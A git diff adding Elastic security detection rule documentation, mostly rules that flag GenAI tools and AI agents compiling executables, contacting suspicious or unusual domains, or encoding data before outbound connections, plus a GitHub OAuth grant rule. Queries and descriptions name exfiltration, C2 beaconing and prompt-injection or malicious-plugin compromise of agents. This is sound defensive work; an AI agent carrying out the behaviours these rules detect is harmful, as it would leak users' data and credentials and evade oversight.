a/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-genai-process-compiling-or-generating-executables.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-genai-process-compiling-or-generating-executables.asciidoc new file mode 100644 index 0000000000..3694f4001f --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-genai-process-compiling-or-generating-executables.asciidoc @@ -0,0 +1,197 @@ +[[prebuilt-rule-8-19-36-genai-process-compiling-or-generating-executables]] +=== GenAI Process Compiling or Generating Executables + +Detects when GenAI tools spawn compilers or packaging tools to generate executables. Attackers leverage local LLMs to autonomously generate and compile malware, droppers, or implants. Python packaging tools (pyinstaller, nuitka, pyarmor) are particularly high-risk as they create standalone executables that can be deployed without dependencies. This rule focuses on compilation activity that produces output binaries, filtering out inspection-only operations. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.process-* +* logs-windows.sysmon_operational-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-auditd_manager.auditd-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://atlas.mitre.org/techniques/AML.T0053 +* https://www.elastic.co/security-labs/elastic-advances-llm-security + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* OS: macOS +* OS: Windows +* Use Case: Threat Detection +* Tactic: Execution +* Tactic: Defense Evasion +* Data Source: Elastic Defend +* Data Source: Sysmon +* Data Source: Auditd Manager +* Data Source: Microsoft Defender XDR +* Data Source: SentinelOne +* Resources: Investigation Guide +* Noise: Medium +* Performance: Normal +* Profile: Recommended +* Threat: Unauthorized AI Usage +* Rule Type: Event Correlation (EQL) +* Platform: Windows +* Platform: Linux +* Platform: macOS +* Domain: GenAI +* Mitre Atlas: AML.T0053 + +*Version*: 6 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating GenAI Process Compiling or Generating Executables* + + +This rule detects GenAI tools spawning compilers or packaging tools. While developers may use GenAI to write code that they then compile, autonomous compilation by GenAI processes is unusual. + + +*Possible investigation steps* + + +- Review the GenAI process that spawned the compiler to identify which tool is running and verify if it's an expected/authorized tool. +- Investigate the user account associated with the GenAI process to determine if this activity is expected for that user. +- Review the output files created by the compilation process to identify any malicious executables. +- Check for other alerts or suspicious activity on the same host around the same time. +- Verify if the GenAI tool is from a trusted source and if it's authorized for use in your environment. +- Identify whether the generated executables appear in temporary directories often used for malware staging (`%TEMP%`, `/tmp`, `.cache`). +- Inspect the compiled artifacts for networking imports, credential harvesting functionality, or persistence mechanisms. + + +*False positive analysis* + + +- Legitimate development workflows that use GenAI tools for code generation may trigger this rule if they compile the generated code. +- Some GenAI-assisted coding IDEs (Cursor, Copilot Workspace) may run compilation tasks when testing code; confirm whether the behavior is tied to developer workflow. + + +*Response and remediation* + + +- Terminate the GenAI process and any spawned compiler processes to stop the malicious activity. +- Investigate the compiled executables to determine if they are malicious. +- Review audit logs to determine the scope of compilation activity and identify any executables that may have been created. +- Quarantine any compiled binaries; submit suspicious artifacts to sandbox or malware analysis. + + +==== Rule query + + +[source, js] +---------------------------------- +process where event.type == "start" and + + // GenAI parent process + ( + process.parent.name in ( + "ollama.exe", "ollama", "Ollama", + "textgen.exe", "textgen", "text-generation-webui.exe", "oobabooga.exe", + "lmstudio.exe", "lmstudio", "LM Studio", + "claude.exe", "claude", "Claude", + "cursor.exe", "cursor", "Cursor", "Cursor Helper", "Cursor Helper (Plugin)", + "copilot.exe", "copilot", "Copilot", + "codex.exe", "codex", + "Jan", "jan.exe", "jan", "Jan Helper", + "gpt4all.exe", "gpt4all", "GPT4All", + "gemini-cli.exe", "gemini-cli", + "genaiscript.exe", "genaiscript", + "grok.exe", "grok", + "qwen.exe", "qwen", + "koboldcpp.exe", "koboldcpp", "KoboldCpp", + "llama-server", "llama-cli" + ) or + + // Node/Deno with GenAI frameworks + (process.parent.name in ("node.exe", "node", "deno.exe", "deno") and + process.parent.command_line like~ ("*mcp-server*", "*@modelcontextprotocol*", "*langchain*", "*autogpt*", "*babyagi*", "*agentgpt*", "*crewai*", "*semantic-kernel*", "*llama-index*", "*haystack*")) or + + // Python with GenAI frameworks + (process.parent.name like~ "python*" and + process.parent.command_line like~ ("*langchain*", "*autogpt*", "*babyagi*", "*agentgpt*", "*crewai*", "*semantic-kernel*", "*llama-index*", "*haystack*")) + ) and + + // Compilation tools + ( + // Python packaging + process.name in ("pyinstaller", "py2exe", "cx_Freeze", "nuitka", "pyarmor", "pkg") or + + // C/C++ compilation with output + (process.name in ("gcc", "g++", "clang", "clang++", "cl.exe") and + process.command_line like~ "*-o *" and + process.command_line like~ ("*.c *", "*.c", "*.cpp *", "*.cpp", "*.cc *", "*.cc", "*.m *", "*.m") and + not process.command_line like~ "*git*") or + + // Go compilation + (process.name == "go" and process.args == "build") or + + // Rust compilation + (process.name == "cargo" and process.args == "build") or + (process.name == "rustc" and process.command_line like~ "*-o *") or + + // .NET compilation + process.name in ("csc.exe", "vbc.exe", "msbuild.exe") or + (process.name == "dotnet" and process.args == "build") or + + // Java compilation + process.name == "javac" + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Obfuscated Files or Information +** ID: T1027 +** Reference URL: https://attack.mitre.org/techniques/T1027/ +* Sub-technique: +** Name: Compile After Delivery +** ID: T1027.004 +** Reference URL: https://attack.mitre.org/techniques/T1027/004/ +* Tactic: +** Name: Resource Development +** ID: TA0042 +** Reference URL: https://attack.mitre.org/tactics/TA0042/ +* Technique: +** Name: Develop Capabilities +** ID: T1587 +** Reference URL: https://attack.mitre.org/techniques/T1587/ +* Sub-technique: +** Name: Malware +** ID: T1587.001 +** Reference URL: https://attack.mitre.org/techniques/T1587/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-genai-process-connection-to-suspicious-top-level-domain.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-genai-process-connection-to-suspicious-top-level-domain.asciidoc new file mode 100644 index 0000000000..79da33fa3b --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-genai-process-connection-to-suspicious-top-level-domain.asciidoc @@ -0,0 +1,165 @@ +[[prebuilt-rule-8-19-36-genai-process-connection-to-suspicious-top-level-domain]] +=== GenAI Process Connection to Suspicious Top Level Domain + +Detects when GenAI tools connect to domains using suspicious TLDs commonly abused for malware C2 infrastructure. TLDs like .top, .xyz, .ml, .cf, .onion are frequently used in phishing and malware campaigns. Legitimate GenAI services use well-established domains (.com, .ai, .io), so connections to suspicious TLDs may indicate compromised tools, malicious plugins, or AI-generated code connecting to attacker infrastructure. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.network* +* winlogbeat-* +* logs-windows.sysmon_operational-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.cybercrimeinfocenter.org/top-20-tlds-by-malicious-phishing-domains +* https://atlas.mitre.org/techniques/AML.T0086 +* https://www.elastic.co/security-labs/elastic-advances-llm-security + +*Tags*: + +* Domain: Endpoint +* OS: macOS +* OS: Windows +* Use Case: Threat Detection +* Tactic: Command and Control +* Data Source: Elastic Defend +* Data Source: Sysmon +* Resources: Investigation Guide +* Noise: Medium +* Performance: Normal +* Profile: Recommended +* Threat: Suspicious TLD +* Threat: Unauthorized AI Usage +* Rule Type: Event Correlation (EQL) +* Platform: Windows +* Platform: macOS +* Domain: GenAI +* Mitre Atlas: AML.T0072 + +*Version*: 3 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating GenAI Process Connection to Suspicious Top Level Domain* + + +This rule detects GenAI tools connecting to domains with TLDs commonly abused by malware. The suspicious TLD filter makes this a high-signal rule with low expected volume. + + +*Possible investigation steps* + + +- Review the GenAI process command line to identify which tool is running and verify if it's an expected/authorized tool. +- Examine the network connection details (destination IP, port, protocol) to understand the nature of the communication. +- Check the process execution chain to identify the full attack path and initial entry point. +- Investigate the user account associated with the GenAI process to determine if this activity is expected for that user. +- Review network traffic patterns to identify data exfiltration or command and control communications. +- Check for other alerts or suspicious activity on the same host around the same time. +- Verify if the GenAI tool is from a trusted source and if it's authorized for use in your environment. +- Confirm whether the suspicious domain is used by package registries, CDN mirrors, or AI plugin repos. +- Check if the GenAI tool attempted follow-up actions such as downloading scripts, connecting to IPs directly, or loading remote models. +- Inspect whether the domain matches prompt-redirections, malicious AI plugins, or compromised package dependencies. + + +*False positive analysis* + + +- Legitimate GenAI tools may occasionally connect to domains using suspicious TLDs if they're legitimate services. +- Package managers (npx, pnpm, yarn, bunx) may connect to package registries or CDNs that use suspicious TLDs. Review and exclude known legitimate package registries if needed. +- Some third-party AI plugin ecosystems (VSCode AI plugins, Cursor extensions) may download assets from unusual TLDs; verify allowlists. + + +*Response and remediation* + + +- Terminate the GenAI process and any spawned child processes to stop the malicious activity. +- Review and revoke any API keys, tokens, or credentials that may have been exposed or used by the GenAI tool. +- Block the identified suspicious domains at the network level. +- Investigate the GenAI tool configuration to identify how it was configured and what it was authorized to access. +- Update security policies to restrict or monitor GenAI tool usage in the environment, especially for network communications. +- Add detection for secondary indicators (reverse shells, encoded C2 traffic, odd user-agent strings). + + +==== Rule query + + +[source, js] +---------------------------------- +network where host.os.type in ("macos", "windows") and + + // GenAI processes + process.name in ( + "ollama.exe", "ollama", "Ollama", + "textgen.exe", "textgen", "text-generation-webui.exe", "oobabooga.exe", + "lmstudio.exe", "lmstudio", "LM Studio", + "claude.exe", "claude", "Claude", + "cursor.exe", "cursor", "Cursor", + "copilot.exe", "copilot", "Copilot", + "codex.exe", "codex", + "Jan", "jan.exe", "jan", + "gpt4all.exe", "gpt4all", "GPT4All", + "gemini-cli.exe", "gemini-cli", + "genaiscript.exe", "genaiscript", + "grok.exe", "grok", + "qwen.exe", "qwen", + "koboldcpp.exe", "koboldcpp", "KoboldCpp", + "llama-server", "llama-cli", + "deno.exe", "deno", + "npx", "pnpm", "yarn", "bunx" + ) and + + // Suspicious TLDs + ( + // Windows DNS events + (host.os.type == "windows" and dns.question.name != null and + dns.question.name regex """.*\.(top|buzz|xyz|rest|ml|cf|gq|ga|onion|monster|cyou|quest|cc|bar|cfd|click|cam|surf|tk|shop|club|icu|pw|ws|online|fun|life|boats|store|hair|skin|motorcycles|christmas|lol|makeup|mom|bond|beauty|biz|live|work|zip|country|accountant|date|party|science|loan|win|men|faith|review|racing|download|host)""") or + + // macOS network events + (host.os.type == "macos" and destination.domain != null and + destination.domain regex """.*\.(top|buzz|xyz|rest|ml|cf|gq|ga|onion|monster|cyou|quest|cc|bar|cfd|click|cam|surf|tk|shop|club|icu|pw|ws|online|fun|life|boats|store|hair|skin|motorcycles|christmas|lol|makeup|mom|bond|beauty|biz|live|work|zip|country|accountant|date|party|science|loan|win|men|faith|review|racing|download|host)""") + + // Linux DNS events + // Revist when available + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Technique: +** Name: Application Layer Protocol +** ID: T1071 +** Reference URL: https://attack.mitre.org/techniques/T1071/ +* Sub-technique: +** Name: DNS +** ID: T1071.004 +** Reference URL: https://attack.mitre.org/techniques/T1071/004/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-genai-process-connection-to-unusual-domain.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-genai-process-connection-to-unusual-domain.asciidoc new file mode 100644 index 0000000000..3d71d29eab --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-genai-process-connection-to-unusual-domain.asciidoc @@ -0,0 +1,158 @@ +[[prebuilt-rule-8-19-36-genai-process-connection-to-unusual-domain]] +=== GenAI Process Connection to Unusual Domain + +Detects GenAI tools connecting to unusual domains on macOS. Adversaries may compromise GenAI tools through prompt injection, malicious MCP servers, or poisoned plugins to establish C2 channels or exfiltrate sensitive data to attacker-controlled infrastructure. AI agents with network access can be manipulated to beacon to external servers, download malicious payloads, or transmit harvested credentials and documents. + +*Rule type*: new_terms + +*Rule indices*: + +* logs-endpoint.events.network* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://atlas.mitre.org/techniques/AML.T0086 +* https://glama.ai/blog/2025-11-11-the-lethal-trifecta-securing-model-context-protocol-against-data-flow-attacks +* https://www.elastic.co/security-labs/elastic-advances-llm-security +* https://specterops.io/blog/2025/11/21/an-evening-with-claude-code + +*Tags*: + +* Domain: Endpoint +* OS: macOS +* Use Case: Threat Detection +* Tactic: Command and Control +* Data Source: Elastic Defend +* Resources: Investigation Guide +* Noise: Medium +* Performance: Normal +* Profile: Recommended +* Threat: Unauthorized AI Usage +* Rule Type: New Terms +* Platform: macOS +* Domain: GenAI +* Mitre Atlas: AML.T0072 + +*Version*: 8 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating GenAI Process Connection to Unusual Domain* + + +GenAI tools with network access can be weaponized to contact attacker infrastructure for C2, data exfiltration, or payload retrieval. Compromised MCP servers, malicious plugins, or prompt injection attacks can redirect AI agents to connect to arbitrary domains. While legitimate GenAI tools connect to vendor APIs and CDNs, connections to unusual domains may indicate exploitation. + + +*Possible investigation steps* + + +- Review the destination domain to determine if it's a legitimate GenAI service, CDN, package registry, or potentially malicious infrastructure. +- Investigate the GenAI process command line and configuration to identify what triggered the connection (plugin, MCP server, user prompt). +- Check if the domain was recently registered, uses a suspicious TLD, or has a low reputation score in threat intelligence feeds. +- Review the timing and context of the connection to determine if it correlates with user activity or was automated. +- Examine network traffic to and from the domain to identify the nature of the communication (API calls, file downloads, data exfiltration). +- Check for other hosts in the environment connecting to the same domain to determine if this is an isolated incident. +- Investigate whether the GenAI tool's configuration files were recently modified to add new MCP servers or plugins. +- Correlate with file events to see if the GenAI tool downloaded or created files around the same time as the connection. + + +*False positive analysis* + + +- GenAI tools may connect to new domains as vendors update their infrastructure, CDNs, or API endpoints. +- Package managers (npm, pip) used by MCP servers may connect to package registries for dependency resolution. +- Legitimate MCP servers and AI plugins connect to their respective backend services. +- Developer workflows testing new AI integrations or MCP servers will naturally trigger alerts for novel domain connections. + + +*Response and remediation* + + +- If the domain is confirmed malicious, block it at the network level and investigate the source of the compromise. +- Review the GenAI tool's configuration for unauthorized MCP servers, plugins, or extensions that initiated the connection. +- Investigate any data that may have been sent to the suspicious domain and assess the potential for data exfiltration. +- Review and rotate any API keys, tokens, or credentials used by the GenAI tool. +- Update detection rules to monitor the identified domain across all hosts in the environment. + + +==== Rule query + + +[source, js] +---------------------------------- +event.category:network and host.os.type:macos and event.action:connection_attempted and +( + process.name:( + Claude or "Claude Helper" or "Claude Helper (Plugin)" or Copilot or Cursor or + "Cursor Helper" or "Cursor Helper (Plugin)" or GPT4All or Jan or "Jan Helper" or + KoboldCpp or "LM Studio" or Ollama or Windsurf or "Windsurf Helper" or + "Windsurf Helper (Plugin)" or bunx or claude or codex or copilot or cursor or deno or + gemini-cli or genaiscript or gpt4all or grok or jan or koboldcpp or llama-cli or + llama-server or lmstudio or npx or ollama or pnpm or qwen or textgen or windsurf or yarn + ) +) and destination.domain:(* and not ( + aka.ms or anthropic.com or atlassian.com or cursor.com or cursor.sh or github.com or + gpt4all.io or hf.co or huggingface.co or lmstudio.ai or localhost or ollama.ai or + ollama.com or openai.com or *.aka.ms or *.akamaized.net or *.amazonaws.com or + *.amplitude.com or *.anthropic.com or *.atlassian.com or *.aws.amazon.com or + *.azure.com or *.cdn.cloudflare.net or *.cloudflare-dns.com or *.cloudflare.com or + *.cloudflarestorage.com or *.codeium.com or *.cursor.com or *.cursor.sh or + *datadoghq.com or *.elastic-cloud.com or *.elastic.co or *.exp-tas.com or + *.gemini.google.com or *.generativelanguage.googleapis.com or *.github.com or + *.githubcopilot.com or *.githubusercontent.com or *.gitkraken.com or *.gitkraken.dev or + *.google.com or *.googleapis.com or *.gpt4all.io or *.grok.x.ai or *.hf.co or + *.honeycomb.io or *.huggingface.co or *.intercom.io or *.jan.ai or *.launchdarkly.com or + *.lmstudio.ai or *.microsoft.com or *.mixpanel.com or *.msedge.net or *.npmjs.com or + *.npmjs.org or *.oaiusercontent.com or *.ollama.ai or *.ollama.com or *.openai.com or + *.pypi.org or *.r2.cloudflarestorage.com or *.schemastore.org or *.segment.io or + *.sentry.io or *.visualstudio.com or *.vsassets.io or *.vscode-cdn.net or + *.windsurf.ai or *.x.ai or *.yarnpkg.com or *.cartocdn.com or *.chatgpt.com or + *.claude.ai or *.claude.com or *.claudeusercontent.com or *.ggpht.com or *.gstatic.com or + *.googleusercontent.com or *.launchpadcontent.net or *.pythonhosted.org or + *.recaptcha.net or *.shields.io or *.snapcraftcontent.com or *.snapcraft.io or + *.stripe.com or *.travis-ci.com or *.travis-ci.org or *.ubuntu.com or *.ytimg.com or + *.github.io or *.githubassets.com or *.jsdelivr.net or *.nodesource.com or + *.asana.com or arxiv.org or chatgpt.com or claude.ai or claude.com or flagcdn.com or + gitlab.com or mcp.linear.app or mcp.notion.com or mcp.slack.com or + opencollective.com or pypi.org +)) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Technique: +** Name: Application Layer Protocol +** ID: T1071 +** Reference URL: https://attack.mitre.org/techniques/T1071/ +* Sub-technique: +** Name: Web Protocols +** ID: T1071.001 +** Reference URL: https://attack.mitre.org/techniques/T1071/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-genai-process-performing-encoding-chunking-prior-to-network-activity.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-genai-process-performing-encoding-chunking-prior-to-network-activity.asciidoc new file mode 100644 index 0000000000..4311340296 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-genai-process-performing-encoding-chunking-prior-to-network-activity.asciidoc @@ -0,0 +1,224 @@ +[[prebuilt-rule-8-19-36-genai-process-performing-encoding-chunking-prior-to-network-activity]] +=== GenAI Process Performing Encoding/Chunking Prior to Network Activity + +Detects when GenAI processes perform encoding or chunking (base64, gzip, tar, zip) followed by outbound network activity. This sequence indicates data preparation for exfiltration. Attackers encode or compress sensitive data before transmission to obfuscate contents and evade detection. Legitimate GenAI workflows rarely encode data before network communications. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.process-* +* logs-endpoint.events.network-* +* logs-windows.sysmon_operational-* +* winlogbeat-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://atlas.mitre.org/techniques/AML.T0086 +* https://glama.ai/blog/2025-11-11-the-lethal-trifecta-securing-model-context-protocol-against-data-flow-attacks +* https://www.elastic.co/security-labs/elastic-advances-llm-security + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* OS: macOS +* OS: Windows +* Use Case: Threat Detection +* Tactic: Exfiltration +* Tactic: Defense Evasion +* Data Source: Elastic Defend +* Data Source: Sysmon +* Data Source: Microsoft Defender XDR +* Data Source: SentinelOne +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Profile: Recommended +* Threat: Unauthorized AI Usage +* Rule Type: Event Correlation (EQL) +* Platform: Windows +* Platform: Linux +* Platform: macOS +* Domain: GenAI +* Mitre Atlas: AML.T0086 + +*Version*: 6 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating GenAI Process Performing Encoding/Chunking Prior to Network Activity* + + +GenAI processes performing encoding or chunking operations followed by network activity is highly suspicious. This behavior indicates data preparation for exfiltration via GenAI prompts or agents, which is a strong indicator of malicious activity. + + +*Possible investigation steps* + + +- Review the GenAI process that performed the encoding to identify which tool is running and verify if it's an expected/authorized tool. +- Examine the encoding/chunking command line arguments to understand what data is being processed. +- Review the network connection details to identify the destination and determine if it's expected. +- Investigate the user account associated with the GenAI process to determine if this activity is expected for that user. +- Review the data that was encoded to determine if it contains sensitive information. +- Determine whether the encoding was initiated by a GenAI agent or automation loop rather than a user action. +- Check whether the encoded data size or entropy suggests credential files, browser data, SSH keys, or cloud tokens. +- Validate that the GenAI tool is installed from a trusted source and has not been modified. + + +*False positive analysis* + + +- Legitimate data processing workflows that use GenAI tools may trigger this rule if they encode data before transmission. +- Some local developer workflows may encode files before uploading training data or embeddings; confirm whether the host is a model-development workstation. + + +*Response and remediation* + + +- Terminate the GenAI process and any spawned encoding/network processes to stop the malicious activity. +- Review and revoke any API keys, tokens, or credentials that may have been exposed or used by the GenAI tool. +- Investigate the encoded data and network destination to determine the scope of potential data exfiltration. + + +==== Rule query + + +[source, js] +---------------------------------- +sequence by process.entity_id with maxspan=30s + + // Encoding/compression followed by network activity + [process where event.type == "start" + and event.type == "start" + + // Encoding/chunking tools + and ( + // Native encoding tools + process.name in ("base64", "gzip", "tar", "zip", "split", "7z", "7za", "7zr") or + + // PowerShell encoding + (process.name in ("powershell.exe", "pwsh.exe") and + process.command_line like~ ("*Compress-Archive*", "*[Convert]::ToBase64String*")) or + + // Python encoding + (process.name like~ "python*" and + process.command_line like~ ("*base64*", "*gzip*", "*zlib*", "*tarfile*", "*zipfile*")) or + + // Node.js encoding + (process.name in ("node.exe", "node") and + process.command_line like~ ("*Buffer.from*", "*zlib*", "*gzip*") and + not process.command_line like~ ("*mcp*start*", "*mcp-server*", "*npm exec*mcp*")) + ) + + // GenAI parent process + and ( + process.parent.name in ( + "ollama.exe", "ollama", "Ollama", + "textgen.exe", "textgen", "text-generation-webui.exe", "oobabooga.exe", + "lmstudio.exe", "lmstudio", "LM Studio", + "claude.exe", "claude", "Claude", + "cursor.exe", "cursor", "Cursor", "Cursor Helper", "Cursor Helper (Plugin)", + "copilot.exe", "copilot", "Copilot", + "codex.exe", "codex", + "Jan", "jan.exe", "jan", "Jan Helper", + "gpt4all.exe", "gpt4all", "GPT4All", + "gemini-cli.exe", "gemini-cli", + "genaiscript.exe", "genaiscript", + "grok.exe", "grok", + "qwen.exe", "qwen", + "koboldcpp.exe", "koboldcpp", "KoboldCpp", + "llama-server", "llama-cli" + ) or + + // Node/Deno with GenAI frameworks + (process.parent.name in ("node.exe", "node", "deno.exe", "deno") and + process.parent.command_line like~ ( + "*ollama*", "*mcp-server*", "*@modelcontextprotocol*", "*langchain*", "*autogpt*", + "*babyagi*", "*agentgpt*", "*crewai*", "*semantic-kernel*", "*llama-index*", + "*haystack*", "*openai*", "*anthropic*", "*cohere*", "*mistral*" + )) or + + // Python with GenAI frameworks + (process.parent.name like~ "python*" and + process.parent.command_line like~ ( + "*ollama*", "*mcp-server*", "*langchain*", "*autogpt*", "*babyagi*", + "*agentgpt*", "*crewai*", "*semantic-kernel*", "*llama-index*", "*haystack*", + "*openai*", "*anthropic*", "*cohere*", "*mistral*" + )) + ) + ] by process.entity_id + + // Outbound network connection (non-local) + [network where event.type == "start" + and event.action == "connection_attempted" + and destination.ip != null + and not cidrmatch(destination.ip, "10.0.0.0/8", "127.0.0.0/8", "169.254.0.0/16", "172.16.0.0/12", "192.0.0.0/24", "192.0.0.0/29", + "192.0.0.8/32", "192.0.0.9/32", "192.0.0.10/32", "192.0.0.170/32", "192.0.0.171/32", "192.0.2.0/24", + "192.31.196.0/24", "192.52.193.0/24", "192.168.0.0/16", "192.88.99.0/24", "224.0.0.0/4", "100.64.0.0/10", + "192.175.48.0/24","198.18.0.0/15", "198.51.100.0/24", "203.0.113.0/24", "240.0.0.0/4", "::1", "FE80::/10", + "FF00::/8") + + ] by process.entity_id + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Obfuscated Files or Information +** ID: T1027 +** Reference URL: https://attack.mitre.org/techniques/T1027/ +* Tactic: +** Name: Collection +** ID: TA0009 +** Reference URL: https://attack.mitre.org/tactics/TA0009/ +* Technique: +** Name: Archive Collected Data +** ID: T1560 +** Reference URL: https://attack.mitre.org/techniques/T1560/ +* Sub-technique: +** Name: Archive via Utility +** ID: T1560.001 +** Reference URL: https://attack.mitre.org/techniques/T1560/001/ +* Sub-technique: +** Name: Archive via Library +** ID: T1560.002 +** Reference URL: https://attack.mitre.org/techniques/T1560/002/ +* Tactic: +** Name: Exfiltration +** ID: TA0010 +** Reference URL: https://attack.mitre.org/tactics/TA0010/ +* Technique: +** Name: Data Transfer Size Limits +** ID: T1030 +** Reference URL: https://attack.mitre.org/techniques/T1030/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-github-oauth-application-authorized.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-github-oauth-application-authorized.asciidoc new file mode 100644 index 0000000000..3e87b84a70 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-github-oauth-application-authorized.asciidoc @@ -0,0 +1,136 @@ +[[prebuilt-rule-8-19-36-github-oauth-application-authorized]] +=== GitHub OAuth Application Authorized + +Detects when a user authorizes a GitHub OAuth application. Stolen OAuth grants persist after password changes until revoked and can clone or ZIP private repositories. This is not a GitHub App installation (integration_installation.create). + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://securitylabs.datadoghq.com/articles/mapping-out-your-unknown-threat-hunters-guide-to-github/ +* https://github.blog/news-insights/company-news/security-alert-stolen-oauth-user-tokens/ +* https://github.blog/news-insights/company-news/security-alert-new-phishing-campaign-targets-github-users/ +* https://docs.github.com/en/apps/oauth-apps/using-oauth-apps/authorizing-oauth-apps + +*Tags*: + +* Domain: Cloud +* Domain: SaaS +* Domain: Identity +* Platform: GitHub +* Profile: Beta +* Use Case: Threat Detection +* Tactic: Credential Access +* Tactic: Persistence +* Threat: OAuth App Consent +* Data Source: Github +* Data Source: GitHub Audit Logs +* Rule Type: ESQL +* Resources: Investigation Guide + +*Version*: 1 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating GitHub OAuth Application Authorized* + + +`oauth_authorization.create` is a user grant of an OAuth App. It is distinct from installing a GitHub App. After a grant, look for `git.clone` or `repo.download_zip` with `programmatic_access_type` of OAuth access token. + + +*Possible investigation steps* + + +- Identify `user.name`, `github.oauth_application_name` / `github.oauth_application_id`, `github.actor_ip`, and `github.user_agent`. +- Confirm the app is approved by the organization. Review requested scopes. +- Pivot to clone, ZIP, and `api.request` activity from the same user shortly after the grant. + + +*False positive analysis* + + +- First-time login to an approved CI, IDE, or SaaS integration. + + +*Response and remediation* + + +- If unauthorized, revoke the OAuth grant and the application's tokens, then force a password reset and session invalidation. +- Review org third-party application restrictions. + + +==== Rule query + + +[source, js] +---------------------------------- +from logs-github.audit-* metadata _id, _index, _version +| where + event.module == "github" and data_stream.dataset == "github.audit" + and event.action == "oauth_authorization.create" +| keep + _id, + _index, + _version, + @timestamp, + event.action, + user.name, + github.org, + github.repo, + github.actor_ip, + github.hashed_token, + github.oauth_application_name, + github.oauth_application_id, + github.programmatic_access_type, + github.user_agent, + github.name + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: Cloud Accounts +** ID: T1078.004 +** Reference URL: https://attack.mitre.org/techniques/T1078/004/ +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Steal Application Access Token +** ID: T1528 +** Reference URL: https://attack.mitre.org/techniques/T1528/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-google-workspace-bitlocker-setting-disabled.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-google-workspace-bitlocker-setting-disabled.asciidoc new file mode 100644 index 0000000000..3c56148abd --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-36/prebuilt-rule-8-19-36-google-workspace-bitlocker-setting-disabled.asciidoc @@ 